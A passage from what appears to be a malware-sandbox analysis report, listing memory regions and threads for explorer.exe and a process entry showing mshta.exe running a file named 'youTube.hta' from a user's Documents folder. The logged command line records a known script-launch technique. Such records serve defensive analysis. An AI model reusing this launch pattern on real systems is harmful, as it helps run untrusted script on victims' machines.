end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 837
start_va = 0x20000
end_va = 0x26fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 838
start_va = 0x30000
end_va = 0x44fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 839
start_va = 0x50000
end_va = 0xcffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000050000"
filename = ""
Region:
id = 840
start_va = 0xd0000
end_va = 0xd3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000d0000"
filename = ""
Region:
id = 841
start_va = 0xe0000
end_va = 0xe1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000e0000"
filename = ""
Region:
id = 842
start_va = 0xf0000
end_va = 0xf1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000000f0000"
filename = ""
Region:
id = 843
start_va = 0x100000
end_va = 0x1bdfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 844
start_va = 0x1c0000
end_va = 0x1c6fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 845
start_va = 0x1d0000
end_va = 0x1d1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001d0000"
filename = ""
Region:
id = 846
start_va = 0x1e0000
end_va = 0x1e0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001e0000"
filename = ""
Region:
id = 847
start_va = 0x1f0000
end_va = 0x1f0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001f0000"
filename = ""
Region:
id = 848
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 849
start_va = 0x400000
end_va = 0x47ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000400000"
filename = ""
Region:
id = 850
start_va = 0x480000
end_va = 0x480fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000480000"
filename = ""
Region:
id = 851
start_va = 0x490000
end_va = 0x490fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000490000"
filename = ""
Region:
id = 852
start_va = 0x4a0000
end_va = 0x4a0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004a0000"
filename = ""
Region:
id = 853
start_va = 0x4b0000
end_va = 0x4b0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004b0000"
filename = ""
Region:
id = 854
start_va = 0x530000
end_va = 0x53ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000530000"
filename = ""
Region:
id = 855
start_va = 0x560000
end_va = 0x65ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000560000"
filename = ""
Region:
id = 856
start_va = 0x660000
end_va = 0x7e7fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 857
start_va = 0x7f0000
end_va = 0x970fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000007f0000"
filename = ""
Region:
id = 858
start_va = 0x980000
end_va = 0x1d7ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000980000"
filename = ""
Region:
id = 859
start_va = 0x1d80000
end_va = 0x217afff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001d80000"
filename = ""
Region:
id = 860
start_va = 0x2180000
end_va = 0x21fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002180000"
filename = ""
Region:
id = 861
start_va = 0x2200000
end_va = 0x227ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002200000"
filename = ""
Region:
id = 862
start_va = 0x2280000
end_va = 0x22fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002280000"
filename = ""
Region:
id = 863
start_va = 0x2340000
end_va = 0x234ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002340000"
filename = ""
Region:
id = 864
start_va = 0x2350000
end_va = 0x2686fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 865
start_va = 0x2690000
end_va = 0x270ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002690000"
filename = ""
Region:
id = 866
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 867
start_va = 0x7df5ffec0000
end_va = 0x7df5fffbffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ffec0000"
filename = ""
Region:
id = 868
start_va = 0x7df5fffc0000
end_va = 0x7df5fffe2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5fffc0000"
filename = ""
Region:
id = 869
start_va = 0x7df5ffff0000
end_va = 0x7ff5fffeffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007df5ffff0000"
filename = ""
Region:
id = 870
start_va = 0x7ff6a2500000
end_va = 0x7ff6a2947fff
monitored = 0
entry_point = 0x7ff6a259e090
region_type = mapped_file
name = "explorer.exe"
filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe")
Region:
id = 871
start_va = 0x7ffb1bbb0000
end_va = 0x7ffb1bbfffff
monitored = 0
entry_point = 0x7ffb1bbb2580
region_type = mapped_file
name = "edputil.dll"
filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll")
Region:
id = 872
start_va = 0x7ffb1bc00000
end_va = 0x7ffb1c09ffff
monitored = 0
entry_point = 0x7ffb1bc98740
region_type = mapped_file
name = "explorerframe.dll"
filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll")
Region:
id = 873
start_va = 0x7ffb1c640000
end_va = 0x7ffb1c6f0fff
monitored = 0
entry_point = 0x7ffb1c6508f0
region_type = mapped_file
name = "twinapi.dll"
filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll")
Region:
id = 874
start_va = 0x7ffb208d0000
end_va = 0x7ffb209ddfff
monitored = 0
entry_point = 0x7ffb2091eaa0
region_type = mapped_file
name = "mrmcorer.dll"
filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll")
Region:
id = 875
start_va = 0x7ffb22650000
end_va = 0x7ffb226f1fff
monitored = 0
entry_point = 0x7ffb22670a40
region_type = mapped_file
name = "dxgi.dll"
filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll")
Region:
id = 876
start_va = 0x7ffb22700000
end_va = 0x7ffb229a7fff
monitored = 0
entry_point = 0x7ffb22793250
region_type = mapped_file
name = "d3d11.dll"
filename = "\\Windows\\System32\\d3d11.dll" (normalized: "c:\\windows\\system32\\d3d11.dll")
Region:
id = 877
start_va = 0x7ffb229b0000
end_va = 0x7ffb229d1fff
monitored = 0
entry_point = 0x7ffb229b1a40
region_type = mapped_file
name = "dwmapi.dll"
filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")
Region:
id = 878
start_va = 0x7ffb22ac0000
end_va = 0x7ffb22ba2fff
monitored = 0
entry_point = 0x7ffb22af7da0
region_type = mapped_file
name = "dcomp.dll"
filename = "\\Windows\\System32\\dcomp.dll" (normalized: "c:\\windows\\system32\\dcomp.dll")
Region:
id = 879
start_va = 0x7ffb22ee0000
end_va = 0x7ffb22f58fff
monitored = 0
entry_point = 0x7ffb22effb90
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")
Region:
id = 880
start_va = 0x7ffb23110000
end_va = 0x7ffb235a2fff
monitored = 0
entry_point = 0x7ffb2311f760
region_type = mapped_file
name = "actxprxy.dll"
filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")
Region:
id = 881
start_va = 0x7ffb23670000
end_va = 0x7ffb237f5fff
monitored = 0
entry_point = 0x7ffb236bd700
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")
Region:
id = 882
start_va = 0x7ffb23aa0000
end_va = 0x7ffb23b35fff
monitored = 0
entry_point = 0x7ffb23ac5570
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")
Region:
id = 883
start_va = 0x7ffb23c40000
end_va = 0x7ffb23d3ffff
monitored = 0
entry_point = 0x7ffb23c80f80
region_type = mapped_file
name = "twinapi.appcore.dll"
filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll")
Region:
id = 884
start_va = 0x7ffb24880000
end_va = 0x7ffb2489efff
monitored = 0
entry_point = 0x7ffb24885d30
region_type = mapped_file
name = "userenv.dll"
filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")
Region:
id = 885
start_va = 0x7ffb24da0000
end_va = 0x7ffb24dccfff
monitored = 0
entry_point = 0x7ffb24db9d40
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")
Region:
id = 886
start_va = 0x7ffb24fb0000
end_va = 0x7ffb24fd8fff
monitored = 0
entry_point = 0x7ffb24fc4530
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")
Region:
id = 887
start_va = 0x7ffb25120000
end_va = 0x7ffb2512efff
monitored = 0
entry_point = 0x7ffb25123210
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")
Region:
id = 888
start_va = 0x7ffb25130000
end_va = 0x7ffb2517afff
monitored = 0
entry_point = 0x7ffb251335f0
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 889
start_va = 0x7ffb25180000
end_va = 0x7ffb25193fff
monitored = 0
entry_point = 0x7ffb251852e0
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")
Region:
id = 890
start_va = 0x7ffb251a0000
end_va = 0x7ffb251affff
monitored = 0
entry_point = 0x7ffb251a56e0
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")
Region:
id = 891
start_va = 0x7ffb251b0000
end_va = 0x7ffb25397fff
monitored = 0
entry_point = 0x7ffb251dba70
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")
Region:
id = 892
start_va = 0x7ffb253c0000
end_va = 0x7ffb25586fff
monitored = 0
entry_point = 0x7ffb2541db80
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")
Region:
id = 893
start_va = 0x7ffb25640000
end_va = 0x7ffb256a9fff
monitored = 0
entry_point = 0x7ffb25676d50
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 894
start_va = 0x7ffb256b0000
end_va = 0x7ffb25764fff
monitored = 0
entry_point = 0x7ffb256f22e0
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")
Region:
id = 895
start_va = 0x7ffb25800000
end_va = 0x7ffb25842fff
monitored = 0
entry_point = 0x7ffb25814b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")
Region:
id = 896
start_va = 0x7ffb25850000
end_va = 0x7ffb25e93fff
monitored = 0
entry_point = 0x7ffb25a164b0
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")
Region:
id = 897
start_va = 0x7ffb25f00000
end_va = 0x7ffb26085fff
monitored = 0
entry_point = 0x7ffb25f4ffc0
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")
Region:
id = 898
start_va = 0x7ffb26090000
end_va = 0x7ffb261e5fff
monitored = 0
entry_point = 0x7ffb2609a8d0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")
Region:
id = 899
start_va = 0x7ffb261f0000
end_va = 0x7ffb2622afff
monitored = 0
entry_point = 0x7ffb261f12f0
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")
Region:
id = 900
start_va = 0x7ffb26230000
end_va = 0x7ffb262dcfff
monitored = 0
entry_point = 0x7ffb262481a0
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")
Region:
id = 901
start_va = 0x7ffb262e0000
end_va = 0x7ffb26331fff
monitored = 0
entry_point = 0x7ffb262ef530
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")
Region:
id = 902
start_va = 0x7ffb264f0000
end_va = 0x7ffb2658cfff
monitored = 0
entry_point = 0x7ffb264f78a0
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")
Region:
id = 903
start_va = 0x7ffb26590000
end_va = 0x7ffb266abfff
monitored = 0
entry_point = 0x7ffb265d02b0
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")
Region:
id = 904
start_va = 0x7ffb266b0000
end_va = 0x7ffb26756fff
monitored = 0
entry_point = 0x7ffb266bb4d0
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")
Region:
id = 905
start_va = 0x7ffb267e0000
end_va = 0x7ffb27d3efff
monitored = 0
entry_point = 0x7ffb269411f0
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")
Region:
id = 906
start_va = 0x7ffb27d40000
end_va = 0x7ffb27d9afff
monitored = 0
entry_point = 0x7ffb27d538b0
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")
Region:
id = 907
start_va = 0x7ffb27e00000
end_va = 0x7ffb2807cfff
monitored = 0
entry_point = 0x7ffb27ed4970
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")
Region:
id = 908
start_va = 0x7ffb281e0000
end_va = 0x7ffb28322fff
monitored = 0
entry_point = 0x7ffb28208210
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")
Region:
id = 909
start_va = 0x7ffb288f0000
end_va = 0x7ffb289b0fff
monitored = 0
entry_point = 0x7ffb28910da0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")
Region:
id = 910
start_va = 0x7ffb28a50000
end_va = 0x7ffb28af6fff
monitored = 0
entry_point = 0x7ffb28a658d0
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")
Region:
id = 911
start_va = 0x7ffb28b00000
end_va = 0x7ffb28cc0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 912
start_va = 0x4c0000
end_va = 0x4c1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004c0000"
filename = ""
Region:
id = 913
start_va = 0x7ffb1c1d0000
end_va = 0x7ffb1c443fff
monitored = 0
entry_point = 0x7ffb1c240400
region_type = mapped_file
name = "comctl32.dll"
filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll")
Region:
id = 914
start_va = 0x4d0000
end_va = 0x4d0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "windowsshell.manifest"
filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest")
Region:
id = 915
start_va = 0x4e0000
end_va = 0x4e1fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 916
start_va = 0x4d0000
end_va = 0x4d3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 917
start_va = 0x2710000
end_va = 0x2754fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db")
Region:
id = 918
start_va = 0x4f0000
end_va = 0x4f3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 919
start_va = 0x2760000
end_va = 0x27edfff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")
Region:
id = 920
start_va = 0x27f0000
end_va = 0x286ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000027f0000"
filename = ""
Region:
id = 921
start_va = 0x500000
end_va = 0x500fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000500000"
filename = ""
Region:
id = 922
start_va = 0x510000
end_va = 0x511fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000510000"
filename = ""
Region:
id = 923
start_va = 0x520000
end_va = 0x527fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "windows.storage.dll.mui"
filename = "\\Windows\\System32\\en-US\\windows.storage.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\windows.storage.dll.mui")
Region:
id = 924
start_va = 0x540000
end_va = 0x547fff
monitored = 0
entry_point = 0x541900
region_type = mapped_file
name = "mshta.exe"
filename = "\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")
Region:
id = 925
start_va = 0x550000
end_va = 0x550fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mshta.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mshta.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mshta.exe.mui")
Region:
id = 926
start_va = 0x540000
end_va = 0x547fff
monitored = 0
entry_point = 0x541900
region_type = mapped_file
name = "mshta.exe"
filename = "\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")
Region:
id = 927
start_va = 0x550000
end_va = 0x550fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mshta.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mshta.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mshta.exe.mui")
Region:
id = 928
start_va = 0x540000
end_va = 0x547fff
monitored = 0
entry_point = 0x541900
region_type = mapped_file
name = "mshta.exe"
filename = "\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")
Region:
id = 929
start_va = 0x550000
end_va = 0x550fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mshta.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mshta.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mshta.exe.mui")
Region:
id = 930
start_va = 0x540000
end_va = 0x547fff
monitored = 0
entry_point = 0x541900
region_type = mapped_file
name = "mshta.exe"
filename = "\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")
Region:
id = 931
start_va = 0x550000
end_va = 0x550fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mshta.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mshta.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mshta.exe.mui")
Region:
id = 932
start_va = 0x540000
end_va = 0x541fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000540000"
filename = ""
Region:
id = 933
start_va = 0x7ffb174f0000
end_va = 0x7ffb176a7fff
monitored = 0
entry_point = 0x7ffb1755e630
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 934
start_va = 0x7ffb1f310000
end_va = 0x7ffb1f691fff
monitored = 0
entry_point = 0x7ffb1f361220
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 935
start_va = 0x550000
end_va = 0x550fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000550000"
filename = ""
Region:
id = 936
start_va = 0x2300000
end_va = 0x2307fff
monitored = 0
entry_point = 0x2301900
region_type = mapped_file
name = "mshta.exe"
filename = "\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")
Region:
id = 937
start_va = 0x2310000
end_va = 0x2310fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mshta.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mshta.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mshta.exe.mui")
Region:
id = 956
start_va = 0x7ffb1e2d0000
end_va = 0x7ffb1e2dffff
monitored = 0
entry_point = 0x7ffb1e2d3d50
region_type = mapped_file
name = "pcacli.dll"
filename = "\\Windows\\System32\\pcacli.dll" (normalized: "c:\\windows\\system32\\pcacli.dll")
Region:
id = 957
start_va = 0x7ffb1d3f0000
end_va = 0x7ffb1d40afff
monitored = 0
entry_point = 0x7ffb1d3f1040
region_type = mapped_file
name = "mpr.dll"
filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")
Thread:
id = 25
os_tid = 0x4f0
Thread:
id = 26
os_tid = 0x9cc
Thread:
id = 27
os_tid = 0x9e8
Thread:
id = 28
os_tid = 0x9d0
Thread:
id = 29
os_tid = 0xff4
Thread:
id = 30
os_tid = 0x11e8
Thread:
id = 31
os_tid = 0x6ac
Process:
id = "4"
image_name = "mshta.exe"
filename = "c:\\windows\\syswow64\\mshta.exe"
page_root = "0x2e0ee000"
os_pid = "0x7a4"
os_integrity_level = "0x2000"
os_privileges = "0x800000"
monitor_reason = "child_process"
parent_id = "3"
os_parent_pid = "0x11e4"
cmd_line = "\"C:\\Windows\\SysWOW64\\mshta.exe\" \"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} "
cur_dir = "C:\\Windows\\system32\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 938
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 939
start_va = 0x30000
end_va = 0x31fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 940
start_va = 0x40000
end_va = 0x54fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 941
start_va = 0x60000
end_va = 0x9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000060000"
filename = ""
Region:
id = 942
start_va = 0xa0000
end_va = 0x19ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000000a0000"
filename = ""
Region:
id = 943
start_va = 0x1a0000
end_va = 0x1a3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001a0000"
filename = ""
Region:
id = 944
start_va = 0x1b0000
end_va = 0x1b0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001b0000"
filename = ""
Region:
id = 945
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 946
start_va = 0xbb0000
end_va = 0xbb7fff
monitored = 1
entry_point = 0xbb1900
region_type = mapped_file
name = "mshta.exe"
filename = "\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")
Region:
id = 947
start_va = 0xbc0000
end_va = 0x4bbffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000bc0000"
filename = ""
Region:
id = 948
start_va = 0x778f0000
end_va = 0x77a6afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 949
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 950
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 951
start_va = 0x7fff0000
end_va = 0x7dfb28afffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 952
start_va = 0x7dfb28b00000
end_va = 0x7ffb28afffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00007dfb28b00000"
filename = ""
Region:
id = 953
start_va = 0x7ffb28b00000
end_va = 0x7ffb28cc0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 954
start_va = 0x7ffb28cc1000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffb28cc1000"
filename = ""
Region:
id = 955
start_va = 0x1c0000
end_va = 0x1c1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 958
start_va = 0x4c0000
end_va = 0x4cffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004c0000"
filename = ""
Region:
id = 959
